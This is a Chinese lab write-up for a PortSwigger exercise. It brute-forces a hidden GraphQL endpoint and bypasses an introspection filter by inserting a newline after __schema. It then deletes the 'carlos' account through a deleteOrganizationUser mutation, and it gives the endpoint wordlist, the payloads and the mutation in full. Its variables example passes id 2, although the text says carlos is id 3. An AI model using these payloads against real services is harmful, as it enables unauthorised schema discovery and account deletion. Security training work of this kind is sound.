从业者-查找隐藏的GraphQL端点
# 实验室:查找隐藏的GraphQL端点
# 题目
此实验室的用户管理功能由一个隐藏的 GraphQL 端点提供支持。你无法简单地通过 单击站点中的页面 来找到此端点。端点还具有一些针对内省的防御措施。
若要解决实验室问题,请找到隐藏的端点并删除carlos账户。
我们建议你在尝试此实验之前安装 InQL 扩展。InQL 可以更轻松地在 Repeater 中修改 GraphQL 查询,并使你能够扫描 API 模式信息。
有关使用 InQL 的更多信息,请参阅在 Burp Suite 中使用 GraphQL (opens new window)。
- name: 实验室-从业者
desc: 查找隐藏的GraphQL端点 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
# 发现GraphQL端点
根据题目中所说,我们不能通过简单地访问网站来发现 GraphQL 端点。经过我的实际测试,确实找不到。
但我们可以用另一种方式来查找端点,例如暴破。
捕获一个请求数据包,并转发至 Intruder 功能模块。然后将 HTTP 请求路径添加到选区。
复制以下 GraphQL 通用端点名称,然后粘贴到载荷列表中。
/graphql
/graphql/graphql
/graphql/api
/graphql/api/v1
/api
/api/graphql
/api/v1/graphql
2
3
4
5
6
7
此外,还需要禁用最下方的 “URL encode these characters” 功能,因为它会将目录字符/编码为%2f,导致请求出错。
攻击完成之后,你会发现路径/api返回了一个可疑的响应 “查询不存在”。
显然,这就是那个被藏起来的 GraphQL API 端点。
# 绕过端点防御
把对/api的请求转发至 Repeater 功能模块,然后我添加了一个通用查询query{__typename}并以 POST 发送请求。
查看响应,返回了信息 “请求方法不被允许”。
将内容类型修改为application/json,继续发送请求。
继续不允许......诶?等下?我的 JSON 数据怎么不亮啊......噢,写错了
应该发送以下查询才对:
{
"query": "query{__typename}"
}
2
3
还是不允许 POST 方法。
将 HTTP 请求方法修改为GET,但是依旧采用POST传参。
成功访问端点!
此外,如果 HTTP 方法为GET,传参方式也为GET的情况下。
也是可以访问端点的,但看起来貌似没GET方法 + POST传参那么好。
# 绕过内省防御
尝试使用以下查询 来获取内省信息。你可以在 “Repeater --> GraphQL” 粘贴这个查询。
{
__schema {
queryType {
name
}
}
}
2
3
4
5
6
7
发送请求,响应信息说 “GraphQL 内省不被允许,在查询中包含了__schema或__type字符”。
那为啥刚刚的 “query{__typename}” 没有被禁止?
然后经过我一段时间的测试,发现只要在__schema和{字符之间,添加一个换行符\n即可绕过防御。
{"query": "{\n __schema\n{\n queryType {\n name\n }\n }\n}"}
而且还必须在 “Pretty” 选项卡里面改,如果在 “GraphQL” 选项卡里面添加\n的话会出错,直接在 “GraphQL” 里面换行的话又会自动给你删掉换行并对齐......
# 运行完整的内省查询
由于 InQL 扩展无法通过GET方法来进行内省查询,所以我们需要手动获取内省信息,保存为 JSON 文件后再上传给 InQL 扩展进行分析。
这是完整的查询,有点长所以折叠起来了
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
然后还必须再次手动添加\n换行符,以绕过内省防御。
查询响应信息,有三个字段被禁止,还记得理论知识学过什么吗?
笔记
如果启用了内省,但上述查询没有运行,请尝试从查询结构中删除onOperation、onFragment和onField指令。许多端点不接受这些指令(作为内省查询的一部分时),删除它们之后,你通常可以更成功地进行内省。
找到所说的三个指令,删除它们。
再次发送完整的内省查询。这是 JSON 格式的:
{"query": "query IntrospectionQuery {\n __schema\n{\n queryType {\n name\n }\n mutationType {\n name\n }\n subscriptionType {\n name\n }\n types {\n ...FullType\n }\n directives {\n name\n description\n args {\n ...InputValue\n }\n }\n }\n}\n\nfragment FullType on __Type {\n kind\n name\n description\n fields(includeDeprecated: true) {\n name\n description\n args {\n ...InputValue\n }\n type {\n ...TypeRef\n }\n isDeprecated\n deprecationReason\n }\n inputFields {\n ...InputValue\n }\n interfaces {\n ...TypeRef\n }\n enumValues(includeDeprecated: true) {\n name\n description\n isDeprecated\n deprecationReason\n }\n possibleTypes {\n ...TypeRef\n }\n}\n\nfragment InputValue on __InputValue {\n name\n description\n type {\n ...TypeRef\n }\n defaultValue\n}\n\nfragment TypeRef on __Type {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n }\n }\n }\n}"}
在响应中可以看到 API 端点的所有模式信息。
在响应数据包中复制所有模式信息,保存为一个.json文件。
切换到 InQL 选项卡,以文件的方式,将目标站点的模式信息提供给 InQL 扩展。
此外,你还需要在 “1. Provide URL of the GraphQL endpoint” 中输入正确的 GraphQL 端点 URL。
如果只生成了文件,但是没填 URL,是无法生成可视化信息的。
点击 “Analyze” 之后即可生成有关于目标站点的 API 模式信息。
发现一个查询对象getUser,复制所有查询字段。
添加参数id: 1,可以看到管理员账户的用户名,但是没有密码,因为对象getUser不包含任何敏感字段。
噢不,他们学聪明了!
# 利用变更
先确认 carlos 账户的 ID 编号为3。
在先前的模式信息中,除了查询对象getUser以外,还有一个变更对象deleteOrganizationUser。
这个变更对象可以用来删除账户,你明白怎么做了吧?
mutation {
deleteOrganizationUser(input: DeleteOrganizationUserInput) {
user {
id
username
}
}
}
2
3
4
5
6
7
8
直接粘贴这个变更对象,然后发送请求。
但是这个变更对象还需要你键入一个DeleteOrganizationUserInput参数,可是我不知道这个参数具体是什么。是一个数值?一个字符串?还是别的什么?
别急,我们依旧可以在 API 模式信息中找到关于DeleteOrganizationUserInput参数的信息。
搜索关键字,找到DeleteOrganizationUserInput参数的信息:
kind的值是INPUT_OBJECT,表示需要输入一个对象inputFields说明了在该对象中,所需要包含的字段- 很幸运,这个对象里面只包含一个字段,就是
inputFields.name的值id - 而
inputFields.type.ofType.name说明了这个字段的类型是一个Int(数值)
所以,DeleteOrganizationUserInput是一个对象,包含一个类型为Int的字段id,它看起来就像这样:
DeleteOrganizationUserInput: {id: 1}
直接传入参数{id: 3},以删除 carlos 账户。
mutation {
deleteOrganizationUser(input: { id: 3 }) {
user {
id
username
}
}
}
2
3
4
5
6
7
8
端点返回了正常信息,说明变更请求执行成功。
实验完成。
# 其它完成姿势
如果你觉得直接提供{id: 3}太无趣了,可以试试变量:
mutation del($input: DeleteOrganizationUserInput) {
deleteOrganizationUser(input: $input) {
user {
id
username
}
}
}
{
"input": {
"id": 2
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
del($input: DeleteOrganizationUserInput)是为了声明变量,不声明就没法使用。
- 变更名称
del+ 括号 - 声明变量
input的类型为DeleteOrganizationUserInput
变量名称$input不一定要和变更对象中的input一致,它可以是任何名称,例如$params。
